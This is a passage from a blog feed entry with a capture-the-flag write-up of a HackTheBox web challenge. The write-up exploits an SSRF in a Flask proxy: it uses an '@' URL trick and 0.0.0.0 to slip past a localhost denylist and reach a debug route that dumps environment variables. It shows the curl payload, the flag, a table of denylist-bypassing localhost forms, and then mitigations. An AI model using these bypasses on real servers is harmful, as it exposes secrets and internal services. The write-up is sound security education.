  <li>This URL construction is exploitable!</li>
</ol>

<h3 id="debug-endpoint-discovery">Debug Endpoint Discovery</h3>

<p>A critical debug route exists in the application:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="nd">@debug.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/environment</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">GET</span><span class="sh">'</span><span class="p">])</span>
<span class="nd">@is_from_localhost</span>
<span class="k">def</span> <span class="nf">debug_environment</span><span class="p">():</span>
    <span class="n">environment_info</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">Environment variables</span><span class="sh">'</span><span class="p">:</span> <span class="nf">dict</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">Request headers</span><span class="sh">'</span><span class="p">:</span> <span class="nf">dict</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">)</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nf">jsonify</span><span class="p">(</span><span class="n">environment_info</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Key points:</strong></p>
<ul>
  <li>Route: <code class="language-plaintext highlighter-rouge">/debug/environment</code></li>
  <li>Returns: All environment variables (including the flag!)</li>
  <li>Protection: <code class="language-plaintext highlighter-rouge">@is_from_localhost</code> decorator</li>
</ul>

<p><img src="/assets/img/htb-proxyasaservice/environment-route.png" alt="Environment Route in Source Code" />
<em>Debug endpoint that exposes environment variables</em></p>

<h3 id="utilpy---security-restrictions">util.py - Security Restrictions</h3>

<p>The application implements two security mechanisms:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="n">RESTRICTED_URLS</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">localhost</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">127.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">192.168.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">10.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">172.</span><span class="sh">'</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">is_safe_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">restricted_url</span> <span class="ow">in</span> <span class="n">RESTRICTED_URLS</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">restricted_url</span> <span class="ow">in</span> <span class="n">url</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">False</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">is_from_localhost</span><span class="p">(</span><span class="n">func</span><span class="p">):</span>
    <span class="nd">@functools.wraps</span><span class="p">(</span><span class="n">func</span><span class="p">)</span>
    <span class="k">def</span> <span class="nf">check_ip</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">remote_addr</span> <span class="o">!=</span> <span class="sh">'</span><span class="s">127.0.0.1</span><span class="sh">'</span><span class="p">:</span>
            <span class="k">return</span> <span class="nf">abort</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
        <span class="k">return</span> <span class="nf">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">check_ip</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-proxyasaservice/utils-restrictions.png" alt="URL Restrictions in utils.py" />
<em>Security mechanisms attempting to prevent SSRF</em></p>

<hr />

<h2 id="understanding-the-vulnerabilities">Understanding the Vulnerabilities</h2>

<h3 id="challenge-1-bypassing-the-denylist">Challenge 1: Bypassing the Denylist</h3>

<p>The <code class="language-plaintext highlighter-rouge">RESTRICTED_URLS</code> denylist blocks common localhost representations:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">localhost</code></li>
  <li><code class="language-plaintext highlighter-rouge">127.</code> (catches 127.0.0.1, 127.0.0.2, etc.)</li>
  <li><code class="language-plaintext highlighter-rouge">192.168.</code> (private network)</li>
  <li><code class="language-plaintext highlighter-rouge">10.</code> (private network)</li>
  <li><code class="language-plaintext highlighter-rouge">172.</code> (private network)</li>
</ul>

<p><strong>The Problem:</strong> Denylists are inherently incomplete! There are many alternative representations of localhost that aren’t blocked.</p>

<h3 id="challenge-2-controlling-the-target-url">Challenge 2: Controlling the Target URL</h3>

<p>The application constructs URLs as:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="n">target_url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="s">http://</span><span class="si">{</span><span class="n">SITE_NAME</span><span class="si">}{</span><span class="n">url</span><span class="si">}</span><span class="sh">'</span>
<span class="c1"># Results in: http://reddit.com{user_input}
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We need to bypass this to control the entire URL, not just append to <code class="language-plaintext highlighter-rouge">reddit.com</code>.</p>

<hr />

<h2 id="exploitation-strategies">Exploitation Strategies</h2>

<h3 id="researching-bypass-techniques">Researching Bypass Techniques</h3>

<p>Consulting <a href="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass">HackTricks SSRF documentation</a>:</p>

<p><img src="/assets/img/htb-proxyasaservice/hacktricks-bypass.png" alt="HackTricks URL Bypass Methods" />
<em>Various techniques for bypassing URL restrictions</em></p>

<h3 id="strategy-1-the--symbol-authentication-bypass-primary-method">Strategy 1: The <code class="language-plaintext highlighter-rouge">@</code> Symbol Authentication Bypass (Primary Method)</h3>

<p>The most elegant solution exploits URL authentication syntax:</p>

<p><strong>Standard URL format:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://username:password@host:port/path
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Our exploit:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://reddit.com@0.0.0.0:1337/debug/environment
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>How it works:</strong></p>
<ol>
  <li>The application constructs: <code class="language-plaintext highlighter-rouge">http://reddit.com@0.0.0.0:1337/debug/environment</code></li>
  <li>URL parsers interpret <code class="language-plaintext highlighter-rouge">reddit.com</code> as authentication credentials</li>
  <li>The actual target host becomes <code class="language-plaintext highlighter-rouge">0.0.0.0:1337</code></li>
  <li><code class="language-plaintext highlighter-rouge">0.0.0.0</code> is NOT in the denylist (only <code class="language-plaintext highlighter-rouge">127.</code>, <code class="language-plaintext highlighter-rouge">localhost</code>, etc.)</li>
  <li>Request goes to the internal service on port 1337!</li>
</ol>

<hr />

<h2 id="exploitation">Exploitation</h2>

<h3 id="primary-method--symbol-bypass">Primary Method: @ Symbol Bypass</h3>

<p><strong>Payload construction:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>/?url=@0.0.0.0:1337/debug/environment
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Full URL:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://94.237.54.42:55319/?url=@0.0.0.0:1337/debug/environment
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>What happens:</strong></p>
<ol>
  <li>Application receives: <code class="language-plaintext highlighter-rouge">@0.0.0.0:1337/debug/environment</code></li>
  <li>Constructs: <code class="language-plaintext highlighter-rouge">http://reddit.com@0.0.0.0:1337/debug/environment</code></li>
  <li>Denylist check passes (no <code class="language-plaintext highlighter-rouge">localhost</code>, <code class="language-plaintext highlighter-rouge">127.</code>, etc.)</li>
  <li>HTTP client interprets <code class="language-plaintext highlighter-rouge">0.0.0.0:1337</code> as the target</li>
  <li>Request goes to internal debug endpoint</li>
  <li>Since it’s from localhost (internal request), bypasses <code class="language-plaintext highlighter-rouge">@is_from_localhost</code></li>
</ol>

<h3 id="executing-the-attack">Executing the Attack</h3>

<p><strong>Using curl:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>curl <span class="s2">"http://94.237.54.42:55319/?url=@0.0.0.0:1337/debug/environment"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Using browser:</strong>
Simply navigate to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://94.237.54.42:55319/?url=@0.0.0.0:1337/debug/environment
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="success---flag-captured">Success - Flag Captured!</h3>

<p><img src="/assets/img/htb-proxyasaservice/flag-output.png" alt="Flag Retrieved from Environment" />
<em>Successfully bypassed restrictions and retrieved environment variables</em></p>

<blockquote class="prompt-tip">
  <p><strong>Flag Captured!</strong> 🚩 <code class="language-plaintext highlighter-rouge">HTB{pr0xy_s3rv1c3s_4r3_fun_t0_byp4ss}</code></p>
</blockquote>

<hr />

<h2 id="technical-deep-dive">Technical Deep Dive</h2>

<h3 id="why-the--symbol-works">Why the <code class="language-plaintext highlighter-rouge">@</code> Symbol Works</h3>

<p>The <code class="language-plaintext highlighter-rouge">@</code> symbol in URLs separates authentication credentials from the host:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>scheme://[user[:password]@]host[:port][/path][?query][#fragment]
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Example breakdown:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>http://reddit.com@0.0.0.0:1337/debug/environment
         \_____/  \_____________/\_______________/
            |            |              |
        username      actual host    path
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Different components interpret this differently:</p>
<ul>
  <li><strong>String-based filter:</strong> Sees the entire string, <code class="language-plaintext highlighter-rouge">0.0.0.0</code> not in denylist ✓</li>
  <li><strong>HTTP client:</strong> Correctly parses <code class="language-plaintext highlighter-rouge">0.0.0.0:1337</code> as the target host</li>
  <li><strong>Result:</strong> Request goes to internal service!</li>
</ul>

<h3 id="understanding-0000">Understanding <code class="language-plaintext highlighter-rouge">0.0.0.0</code></h3>

<p><code class="language-plaintext highlighter-rouge">0.0.0.0</code> is a special meta-address that means “all IPv4 addresses on the local machine”:</p>
<ul>
  <li>In server contexts: Bind to all interfaces</li>
  <li>In client contexts: Often resolves to <code class="language-plaintext highlighter-rouge">127.0.0.1</code></li>
  <li><strong>Crucially:</strong> Not in the <code class="language-plaintext highlighter-rouge">RESTRICTED_URLS</code> denylist!</li>
</ul>

<h3 id="alternative-localhost-representations">Alternative Localhost Representations</h3>

<p>Other representations that bypass the denylist:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Representation</th>
      <th style="text-align: left">Description</th>
      <th style="text-align: left">Bypasses Filter?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0.0.0.0</code></td>
      <td style="text-align: left">All interfaces</td>
      <td style="text-align: left">✅ Yes</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0</code></td>
      <td style="text-align: left">Short form of 0.0.0.0</td>
      <td style="text-align: left">✅ Yes</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">127.1</code></td>
      <td style="text-align: left">Short form of 127.0.0.1</td>
      <td style="text-align: left">❌ No (contains <code class="language-plaintext highlighter-rouge">127.</code>)</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">[::1]</code></td>
      <td style="text-align: left">IPv6 localhost</td>
      <td style="text-align: left">✅ Yes</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">2130706433</code></td>
      <td style="text-align: left">Decimal IP (127.0.0.1)</td>
      <td style="text-align: left">❌ No (resolves to 127.x)</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x7f000001</code></td>
      <td style="text-align: left">Hexadecimal IP</td>
      <td style="text-align: left">❌ No (resolves to 127.x)</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">localtest.me</code></td>
      <td style="text-align: left">DNS pointing to 127.0.0.1</td>
      <td style="text-align: left">✅ Yes (DNS rebinding)</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="prevention--mitigation">Prevention &amp; Mitigation</h2>

<h3 id="why-this-vulnerability-exists">Why This Vulnerability Exists</h3>

<ol>
  <li><strong>Denylist Approach</strong>: Trying to block “bad” inputs instead of allowing “good” ones</li>
  <li><strong>String Matching</strong>: Checking URL strings instead of resolved values</li>
  <li><strong>URL Construction</strong>: Allowing user input to control authentication portion</li>
  <li><strong>Exposed Debug Endpoints</strong>: Development routes accessible in production</li>
</ol>

<h3 id="recommended-mitigations">Recommended Mitigations</h3>

<h4 id="1-use-allowlists-not-denylists">1. Use Allowlists, Not Denylists</h4>

<blockquote class="prompt-warning">
  <p>Always prefer allowlists over denylists. Explicitly define what IS allowed rather than what ISN’T.</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="c1"># ❌ Vulnerable: Denylist approach
</span><span class="n">RESTRICTED_URLS</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">localhost</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">127.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">192.168.</span><span class="sh">'</span><span class="p">]</span>
<span class="k">if</span> <span class="nf">any</span><span class="p">(</span><span class="n">r</span> <span class="ow">in</span> <span class="n">url</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">RESTRICTED_URLS</span><span class="p">):</span>
    <span class="k">return</span> <span class="bp">False</span>

<span class="c1"># ✅ Secure: Allowlist approach
</span><span class="n">ALLOWED_DOMAINS</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">reddit.com</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">old.reddit.com</span><span class="sh">'</span><span class="p">]</span>
<span class="n">parsed</span> <span class="o">=</span> <span class="nf">urlparse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">if</span> <span class="n">parsed</span><span class="p">.</span><span class="n">hostname</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">ALLOWED_DOMAINS</span><span class="p">:</span>
    <span class="k">return</span> <span class="bp">False</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="2-validate-after-dns-resolution">2. Validate After DNS Resolution</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">socket</span>
<span class="kn">import</span> <span class="n">ipaddress</span>
<span class="kn">from</span> <span class="n">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span>

<span class="k">def</span> <span class="nf">is_safe_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">parsed</span> <span class="o">=</span> <span class="nf">urlparse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
        
        <span class="c1"># Resolve hostname to IP
</span>        <span class="n">ip</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="nf">gethostbyname</span><span class="p">(</span><span class="n">parsed</span><span class="p">.</span><span class="n">hostname</span><span class="p">)</span>
        <span class="n">ip_obj</span> <span class="o">=</span> <span class="n">ipaddress</span><span class="p">.</span><span class="nf">ip_address</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
        
        <span class="c1"># Block private/loopback IPs
</span>        <span class="nf">if </span><span class="p">(</span><span class="n">ip_obj</span><span class="p">.</span><span class="n">is_private</span> <span class="ow">or</span> 
            <span class="n">ip_obj</span><span class="p">.</span><span class="n">is_loopback</span> <span class="ow">or</span> 
            <span class="n">ip_obj</span><span class="p">.</span><span class="n">is_reserved</span><span class="p">):</span>
            <span class="k">return</span> <span class="bp">False</span>
            
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="3-avoid-dynamic-url-construction">3. Avoid Dynamic URL Construction</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="c1"># ❌ Vulnerable: User controls URL structure
</span><span class="n">target_url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="s">http://</span><span class="si">{</span><span class="n">SITE_NAME</span><span class="si">}{</span><span class="n">user_input</span><span class="si">}</span><span class="sh">'</span>

<span class="c1"># ✅ Better: Parse and validate first
</span><span class="n">parsed</span> <span class="o">=</span> <span class="nf">urlparse</span><span class="p">(</span><span class="n">user_input</span><span class="p">)</span>
<span class="k">if</span> <span class="n">parsed</span><span class="p">.</span><span class="n">hostname</span> <span class="o">==</span> <span class="n">SITE_NAME</span><span class="p">:</span>
    <span class="n">target_url</span> <span class="o">=</span> <span class="n">user_input</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">return</span> <span class="sh">"</span><span class="s">Invalid domain</span><span class="sh">"</span>

<span class="c1"># ✅ Best: Use allowlist with path only
</span><span class="k">if</span> <span class="n">user_input</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">/r/</span><span class="sh">'</span><span class="p">):</span>
    <span class="n">target_url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="s">http://</span><span class="si">{</span><span class="n">SITE_NAME</span><span class="si">}{</span><span class="n">user_input</span><span class="si">}</span><span class="sh">'</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">return</span> <span class="sh">"</span><span class="s">Invalid path</span><span class="sh">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="4-remove-debug-endpoints-in-production">4. Remove Debug Endpoints in Production</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c1"># ❌ Never expose debug routes
</span><span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/debug/environment</span><span class="sh">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">debug_environment</span><span class="p">():</span>
    <span class="k">return</span> <span class="nf">jsonify</span><span class="p">(</span><span class="nf">dict</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">))</span>

<span class="c1"># ✅ Only register in development
</span><span class="k">if</span> <span class="n">app</span><span class="p">.</span><span class="n">debug</span><span class="p">:</span>
    <span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/debug/environment</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">def</span> <span class="nf">debug_environment</span><span class="p">():</span>
        <span class="k">return</span> <span class="nf">jsonify</span><span class="p">(</span><span class="nf">dict</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">))</span>

<span class="c1"># ✅✅ Better: Remove entirely from production code
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="5-implement-proper-authentication">5. Implement Proper Authentication</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="n">functools</span> <span class="kn">import</span> <span class="n">wraps</span>
<span class="kn">from</span> <span class="n">flask</span> <span class="kn">import</span> <span class="n">request</span><span class="p">,</span> <span class="n">abort</span>
<span class="kn">import</span> <span class="n">secrets</span>

<span class="c1"># Use secure token-based authentication
</span><span class="n">DEBUG_TOKEN</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="nf">token_urlsafe</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">require_debug_token</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
    <span class="nd">@wraps</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="k">def</span> <span class="nf">decorated_function</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">X-Debug-Token</span><span class="sh">'</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span> <span class="ow">or</span> <span class="n">token</span> <span class="o">!=</span> <span class="n">DEBUG_TOKEN</span><span class="p">:</span>
            <span class="nf">abort</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
        <span class="k">return</span> <span class="nf">f</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">decorated_function</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/debug/environment</span><span class="sh">'</span><span class="p">)</span>
<span class="nd">@require_debug_token</span>
<span class="k">def</span> <span class="nf">debug_environment</span><span class="p">():</span>
    <span class="k">return</span> <span class="nf">jsonify</span><span class="p">(</span><span class="nf">dict</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="6-network-segmentation">6. Network Segmentation</h4>

<ul>
  <li>Run application services in isolated networks</li>
  <li>Use firewalls to restrict internal service access</li>
  <li>Implement zero-trust architecture</li>
</ul>

<h2 id="tools--resources">Tools &amp; Resources</h2>

<h3 id="tools-used">Tools Used</h3>

<ul>
  <li><strong>curl</strong> - HTTP request testing</li>
  <li><strong>Browser DevTools</strong> - Manual testing</li>
  <li><strong>Python requests</strong> - Automation script</li>
  <li><strong>HackTricks</strong> - SSRF bypass reference</li>
</ul>

<h3 id="helpful-resources">Helpful Resources</h3>

<ul>
  <li><a href="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass">HackTricks - SSRF URL Format Bypass</a></li>
  <li><a href="https://portswigger.net/web-security/ssrf">PortSwigger - SSRF</a></li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html">OWASP - SSRF Prevention</a></li>
  <li><a href="https://www.ietf.org/rfc/rfc3986.txt">RFC 3986 - URI Syntax</a></li>
</ul>

<hr />

<p><em>Thanks for reading! Feel free to reach out if you have questions about SSRF, URL parsing, or web application security.</em></p>

<p><em>Happy Hacking! 🚀</em></p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Web Challenges" /><category term="htb" /><category term="ssrf" /><category term="url-bypass" /><category term="flask" /><category term="web" /><category term="easy" /><category term="python" /><category term="reddit-proxy" /><summary type="html"><![CDATA[Exploiting URL parsing inconsistencies and SSRF to bypass localhost restrictions and extract environment variables from a Flask debug endpoint.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-proxyasaservice/pas-thumbnail.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-proxyasaservice/pas-thumbnail.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>